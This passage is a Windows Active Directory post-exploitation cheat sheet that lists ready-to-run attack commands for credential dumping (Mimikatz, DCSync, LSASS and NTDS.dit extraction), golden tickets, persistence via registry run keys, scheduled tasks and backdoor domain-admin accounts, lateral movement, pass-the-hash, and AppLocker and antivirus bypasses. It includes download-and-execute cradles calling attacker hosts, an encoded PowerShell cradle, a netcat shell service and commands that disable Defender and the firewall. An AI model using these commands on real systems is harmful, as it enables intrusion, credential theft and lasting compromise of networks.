kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt

AS Rep Roasting

#Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable

Get-ASRepHash -Domain m0chanAD.local -User victim

Can also use Rebeus (Reflectively Load .NET Assembly.)

.\Rubeus.exe asreproast

DCSync (Also Post Exploit)

#运行DCSync需要特殊权限。 管理员，域管理员或企业管理员以及域控制器计算机帐户的任何成员都可以运行DCSync来提取密码数据。 请注意，默认情况下，只读域控制器不允许用户提取密码数据。

#and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Directory Changes)

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6:8000/Invoke-DCSync.ps1'); Invoke-DCSync -PWDumpFormat"


Empire Module: powershell/credentials/mimikatz/dcsync_hashdump

Post Exploitation

Useful Commands

net user m0chan /add /domain
net localgroup Administrators m0chan /add

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

If you get this error:

CredSSP Error Fix ->

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

Esenutl.exe Dump Locked File

C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>


在您要dump SAM（或）SYSTEM但文件已被OS锁定的情况下很有用（Windows 10）

Check if Powershell Logging is Enabled

reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

Run Seatbelt (ABSOLUTELY MUST)

#https://github.com/GhostPack/Seatbelt

This is stupidily good, it can literally Enum everything you require and is also a .NET Assembly so can be reflectively loaded to avoid AV :D Win Win

BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.)
RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13
TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.)
UACSystemPolicies     -   UAC system policies via the registry
PowerShellSettings    -   PowerShell versions and security settings
AuditSettings         -   Audit settings via the registry
WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry
LSASettings           -   LSA settings (including auth packages)
UserEnvVariables      -   Current user environment variables
SystemEnvVariables    -   Current system environment variables
UserFolders           -   Folders in C:\Users\
NonstandardServices   -   Services with file info company names that don't contain 'Microsoft'
InternetSettings      -   Internet settings including proxy configs
LapsSettings          -   LAPS settings, if installed
LocalGroupMembers     -   Members of local admins, RDP, and DCOM
MappedDrives          -   Mapped drives
RDPSessions           -   Current incoming RDP sessions
WMIMappedDrives       -   Mapped drives via WMI
NetworkShares         -   Network shares
FirewallRules         -   Deny firewall rules, "full" dumps all
AntiVirusWMI          -   Registered antivirus (via WMI)
InterestingProcesses  -   "Interesting" processes- defensive products and admin tools
RegistryAutoRuns      -   Registry autoruns
RegistryAutoLogon     -   Registry autologon information
DNSCache              -   DNS cache entries (via WMI)
ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a)
AllTcpConnections     -   Lists current TCP connections and associated processes
AllUdpConnections     -   Lists current UDP connections and associated processes
NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft'
  *  If the user is in high integrity, the following additional actions are run:
SysmonConfig          -   Sysmon configuration from the registry

And more!!
Dump Creds
(new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz 

Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.

mimikatz.exe
privlege::debug
sekurlsa::logonPasswords full

The safer method is to dump the process memory of LSASS.exe with MiniDump 
(https://github.com/3xpl01tc0d3r/Minidump)

(or) https://github.com/GhostPack/SharpDump

and send the .bin to Mimikatz locally.

sekurlsa::minidump C:\users\m0chan\lssas.dmp

Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.

Mimikatz Guide

#Logon Sessions

sekurlsa::logonPasswords all

#Dump Cache

lsadump::cache

#Dump SAM

lsadump::sam

Dump Creds #2

#https://github.com/AlessandroZ/LaZagne

laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox

SessionGopher

#https://github.com/Arvanaghi/SessionGopher

Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP

SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals

Invoke-SessionGopher -Thorough

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Dump Process Memory w/ Mimikittenz

#https://github.com/putterpanda/mimikittenz

mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.

The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target.

Invoke-Mimikittenz

pypykatz

#https://github.com/skelsec/pypykatz

Full python implementation of Mimikatz :D 

pip3 install pypykatz

SafetyKatz

#https://github.com/GhostPack/SafetyKatz

Full C Sharp Implemenatation of Mimikatz that can be reflectively loaded :D 

"SafetyKatz is a combination of slightly modified version of @gentilkiwis Mimikatz project and @subtee's .NET PE Loader.

First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtees PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete."

SharpDPAPI

#https://github.com/GhostPack/SharpDPAPI

Full C Sharp Implementation of Mimikatzs DPAPI features which allows access to DPAPI features.

SharpSniper

#https://github.com/HunnicCyber/SharpSniper

Often a Red Team engagement is more than just achieving Domain Admin. Some clients will want to see if specific users in the domain can be compromised, for example the CEO.

SharpSniper is a simple tool to find the IP address of these users so that you can target their box.

C:\> SharpSniper.exe emusk DomainAdminUser DAPass123

User: emusk - IP Address: 192.168.37.130

SharpLocker

#https://github.com/Pickfordmatt/SharpLocker

SharpLocker会弹出一个假的Windows锁定屏幕，帮助获得当前的用户凭据，所有输出均发送到控制台，非常适合cobaltstike。

Check for Missing KB’s

watson.exe
Sherlock.ps1

Use Watson.exe Assembly and reflectively load .NET Assembly into memory to avoid antivirus. 

More at the bottom re. Reflectively Loading stuff. (Also does not hurt to change certain strings etc)

https://github.com/rasta-mouse/Watson

Decrypt EFS Files with Mimikatz if Admin/System

#https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files

cipher /c "d:\Users\Gentil Kiwi\Documents\m0chan.txt" - View if File is EFS Encrypted and whom can Decrypt, sometimes Impersonating a token is easier than manually decrying with mimikatz.

privilege::debug 
token::elevate 
crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b"

dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-3436831043-1864828003-1001\1eccdbd2-4771-4360-8b19-9d6060a061dc" /password:waza1234/

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem

openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot

UAC Bypass

https://egre55.github.io/system-properties-uac-bypass/ - Read Ghoul writeup on HTB for more Info 

findstr /C:"<autoElevate>true" 

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
C:\Windows\SysWOW64\SystemPropertiesHardware.exe
C:\Windows\SysWOW64\SystemPropertiesProtection.exe
C:\Windows\SysWOW64\SystemPropertiesRemote.exe

Golden Ticket Attack

#Check my Blog Post Kerberos Attacks in Depth for Further Information
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>


#Inject Ticket with Rebeus
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

.\PsExec.exe -accepteula \\<remote_hostname> cmd

通过子域去攻击林

Domain = Logical group of objects (users, computers, servers etc etc) supported from a central location like a DC

Tree = Set of domains using same name space (DNS Name)

Trust = Agreement between 2 domains that allow cross-domain access to resources etc. i/e [e-mail] may be able to access resources inside HR.m0chan.com.

Forest = Largest Structure composed of all trees.

Most trees are linked with dual sided trust relationships to allow for sharing of resources.

By default the first domain created if the Forest Root.

Lets say we have owned a domain controller and got the KRBTGT Hash (The keys to the castle) we can now create 

Covert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Replace 502 with 519 to represent Enterprise Admins

Create golden ticket and attack parent domain. 


This will not work if there is SID Filtering in place for respective target domain.

harmj0ys article explains it best. 

#http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/

Dump NTDS.dit

C:\vssadmin create shadow /for=C:
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\ntds\ntds.dit
.
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM
.
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM
.
reg SAVE HKLM\SYSTEM c:\SYS
vssadmin delete shadows /for= [/oldest | /all | /shadow=]


If you pwn a BackupOperator account with SeBackupPrivilege you can also dump NTDS.dit

SeBackupPrivlege - Dump NTDS.dit

Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is disabled

PS C:\m0chan> Set-SeBackupPrivilege

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is enabled

PS C:\m0chan> Copy-FileSeBackupPrivilege P:\Windows\System32\ntds.dit C:\m0chan\ntds.dit -Overwrite
Copied 12582912 bytes

Use diskshadow to mount a shadow copy and then copy Windows\system32\ntds.dit 

Remember and not use C:\Windows\ntds\ntds.dit

reg.exe save hklm\system c:\m0chan\SYSTEM.bak

权限维持

SSH Shuttle

./run -r root@10.10.110.123 172.16.1.0/24 -e "ssh -i Root.key"

SharPersist

#https://github.com/fireeye/SharPersist

C# Libary Designed by FireEye to aid with Persistance using various techniques such as 

KeePass Backdoor
Reg Key
Sch Task Backdoor
Startup Folder (Link File)
Service Backdoor

See there github linked above for full Syntax, very cool work

SharpDoor

#https://github.com/infosecn1nja/SharpDoor.git

SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file, for opsec considerations SharpDoor still using cmd.exe to run sc services to impersonating as trustedinstaller in the future will be avoiding cmd.exe usage, currently only support for Windows 10.

execute-assembly /root/Toolkits/SharpBinaries/SharpDoor.exe

AutoRun Registry

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
Run & Run Once
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate
/t REG_SZ /d "C:\Temp\SoftwareUpdate\Malware.exe"

定时任务添加

#Note - Beaware. some EDR/Endpoint Solutions detect Scheduled Tasks being created and trigger alerts.

schtasks /create /sc minute /mo 1 /tn "Malware" /tr C:\Temp\SoftwareUpdate\Malware.exe

This will run Malware.exe every minute forever.

# Run Malware.exe every day at 06:00am
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc daily /st 06:00

# Runs a task each time the user's session is idle for 5 minutes.
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onidle /i 5

# Runs a a task as SYSTEM when User Logs in.
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onlogon

Windows Startup Folder

This has been around for years as basically every version of Windows contains a startup folder. 

Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Current User Startup - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

EXE/DLL Hijacking

https://github.com/rasta-mouse/TikiTorch

Look for any missing DLL's or EXE's that common programs are calling on startup and over write them with your payload/malware.

Also if you are localadmin/system you could provide over write a normal service binary or DLL, providing you don't break the execution.

Add User Account

net user m0chan /add /domain
net group "Domain Admins" m0chan /add /domain
net localgroup "Administrators" /add
net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"

Persistence with Kerberos

We can dump Kerberos tickets and inject them in session when deemed relevant however tickets have a low life span unless explically requested for 7 days. 

They can be injected into session with mimikatz or Rebeus. 

But let's say we have pwned a DC and got the KRBTGT Hash we can generate a golden ticket with a 10 year life span.

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi 

SID is the domain SID

Inject Ticket

kerberos::ptt [e-mail]

Can also inject kirbi with Rebeus

Lateral Movement

Plink

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

#Windows 1803 Built in SSH Client (By Default)

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

Powershell Port Forward

netsh interface portproxy add v4tov4 listenport=fromport listenaddress=fromip connectport=toport connectaddress=toip

Permanent ^^

Requires iphlpsvc service to be enabled

fromport: the port number to listen on, e.g. 80
fromip: the ip address to listen on, e.g. 192.168.1.1
toport: the port number to forward to
toip: the ip address to forward to

Invoke-SocksProxy

#https://github.com/p3nt4/Invoke-SocksProxy/

Local Socks4 Proxy on 1080

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080


Reverse Socks Proxy on Remote Machine Port 1080

# On the remote host: 
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem

# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"

# Start the handler
python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key

# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 

# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy

# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'

Socat for Windows

#https://github.com/StudioEtrange/socat-windows

Generate SSL Cert for Encryption
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key

Server : socat OPENSSL-LISTEN:443,cert=/cert.pem -
Client : socat - OPENSSL:localhost:443

#Port Forward

socat OPENSSL-LISTEN:443,cert=/cert.pem,fork TCP:202.54.1.5:443

All SSL Connections will be redirected to 202.54.1.5:443

#Non SSL Port Forward
socat TCP-LISTEN:80,fork TCP:202.54.1.5:80

SharpExec

#https://github.com/anthemtotheego/SharpExec

C# Implementation of Conventional Lateral Movement Techniques, such as 

-WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's wmiexec.py tool.

-SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of Impacket's smbexec.py tool.

-PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or upload a file and execute it with or without arguments as NT Authority\System.

-WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with or without arguments as the user.

Secure Sockets Funneling

#https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html#ssf
#git clone https://github.com/securesocketfunneling/ssf.git

Massive shout out to 0xdf for explaining this perfectly in his article. Couldnt have done it better myself.

Chisel (Fast TCP Tunnel over HTTP secured by SSH)

#https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html

CrackMapExec

#https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-lateral-movement/

WMIC Spawn Process

wmic /node:WS02 /user:DOMAIN\m0chan /password:m0chan process call create "powershell.exe -Enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA2AC8ARwBvAG8AZABuAGkAZwBoAHQALgBwAHMAMQAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA2AC8ASABSAEUAdgBlAG4AdABzAC4AcABzADEAIgApACkAIAB9AA=="

WinRS

#https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/winrs

winrs [/<parameter>[:<value>]] <command>  

winrs /r:https://contoso.com command

winrs /r:http://[1080:0:0:0:8:800:200C:417A]:80 command  

winrs /r:myserver /ad /u:administrator /p:$%fgh7 dir \\anotherserver\share

Invoke-WMIExec.ps1

Invoke-WMIExec -Target 10.10.14.14 -Username rweston_da -Hash 3ff61fa259deee15e4042159d
7b832fa -Command "net user user pass /add /domain"

PS C:\users\user\Downloads> Invoke-WMIExec -Target 10.10.120.1 -Username m0chan -Hash 3ff61fa259deee15e4042159d
7b832fa -Command "net group ""Domain Admins"" m0chan /add /domain"

Powershell Invoke-Command (Requires Port 5985)

$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('m0chan\user', $secpasswd)

Invoke-Command -ComputerName FS01 -Credential $cred -ScriptBlock {whoami}

PSExec

psexec.exe \\dc01.m0chanAD.local cmd.exe

Powershell Remoting

$secpasswd = ConvertTo-SecureString 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('WS02\USER', $secpasswd)

$Session = New-PSSession -ComputerName FileServer -Credential $cred
Enter-PSSession $Session

Configure Remote Service over SMB (Requires Local Admin on Target Machine)

net use \\192.168.0.15 [password] /u:DOMAIN\m0chan

sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k COMMAND"
sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k <c:\tools\nc.exe -L -p <port> -e cmd.exe>"
sc \\192.168.0.15 start <service_name>

Pass-The-Hash

crackmapexec <ip> -u <user> -H "<lm>" -x "<msfvenom psh-cmd>"

impacket-wmiexec <user>@<ip> -hashes <lm:nt>

pth-winexe -U <user>%<ntlm> //<ip> "<msfvenom psh-cmd>"

python wmiexec.py -hashes :<hash> <user>@<ip>

xfreerdp /u:<user> /d:<domain> /pth:<ntlm> /v:<ip>:3389 /dynamic-resolution

sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a

Pass-The-Ticket

#Check my Blog Post Kerberos Attacks in Depth for Further Information

Rebeus monitor /interval:30 

Monitoring logon sessions every 30 seconds so I can pinch Kerb tickets

Reubus will now give you a Kerberos ticket in base64 which you can pass with

Rubeus.exe ptt /ticket:[base64blobhere]

We can now request TGS service tickets to access network resources as this user

Obfuscation / Evasion Techniques

Invoke-Obfusaction

#https://github.com/danielbohannon/Invoke-Obfuscation

Can obfusacte Scripts & Commands 

Obfusacte script from remote url 

SET SCRIPTPATH https://thisdosentexist.m0chan.com/Invoke-Mimikatz.ps1

Can also set Sscript block base64 PS

SET SCRIPTBLOCK powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAWQBvAHUAIABjAGEAbgAgAHUAcwBlACAAYgBhAHMAaQBjACAALQBlAG4A==

Invoke-CradleCraft

#https://github.com/danielbohannon/Invoke-CradleCrafter

Similar to Invoke-Obfusaction but allows you to obfusacte cradles for downloading i/e

IEX (New-Object Net.WebClient).DownloadString('http://c2server.com/Invoke-Mimikatz.ps1')

Invoke-DOSfuscation

#https://github.com/danielbohannon/Invoke-DOSfuscation

Unicorn

https://github.com/trustedsec/unicorn

unicorn.py Nishang.ps1

AppLocker / Constrained Mode Bypasses

验证您是否处于受限模式

$ExecutionContext.SessionState.LanguageMode

PowershellVeryLess Bypass

git clone https://github.com/decoder-it/powershellveryless.git


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll 
/out:C:\Users\m0chan\Scripts\powershellveryless.exe 



C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:c:\setup\powershellveryless.exe c:\scripts\powershellveryless.cs


Execute -> powershellveryless.exe script.ps1

script.ps1 = Script of your Choice

World Writable Folders (By Default on Windows 10 1803)

#https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

Downgrade Attack

Downgrading to PS Version 2 circumvates Constrained Mode

powershell.exe -version 2

Verifiy versions with $PSVersionTable
Get-Host

AppLocker COR Profile Bypass

set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=C:\Users\m0chan\pwn\reverseshell.dll
tzsync
powershell

Where .DLL is your payload i/e reverse shell, beacon etc.

MSBuild Powershell/CMD Bypass

You can use this if cmd is not disabled but powershell is

https://github.com/Cn33liz/MSBuildShell/blob/master/
MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe pshell.csproj

Also https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c

MSBuild PSAttack :D :D

PSAttack

#https://github.com/jaredhaight/PSAttack

Use if Powershell.exe is not available. this does not rely on powershell.exe, but Instead directly calls powershell through .NET Framework circumvating most application whitelisting etc.

Has numerous modules prebuilt in and is built in C Sharp / .NET so can be reflectively loaded :)

NoPowerShell

#https://github.com/bitsadmin/nopowershell

Primiarily to be used with Cobalt & Execute Assembly but can also be reflectively loaded from any other C2 infra.

runDLL32 Bypass

#Reference: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

rundll32.exe is a .exe found on all Windows based systems located at C:\Windows\system32\rundll32.exe

rundll32 shell32.dll,Control_RunDLL payload.dll

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication <HTML Code>

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")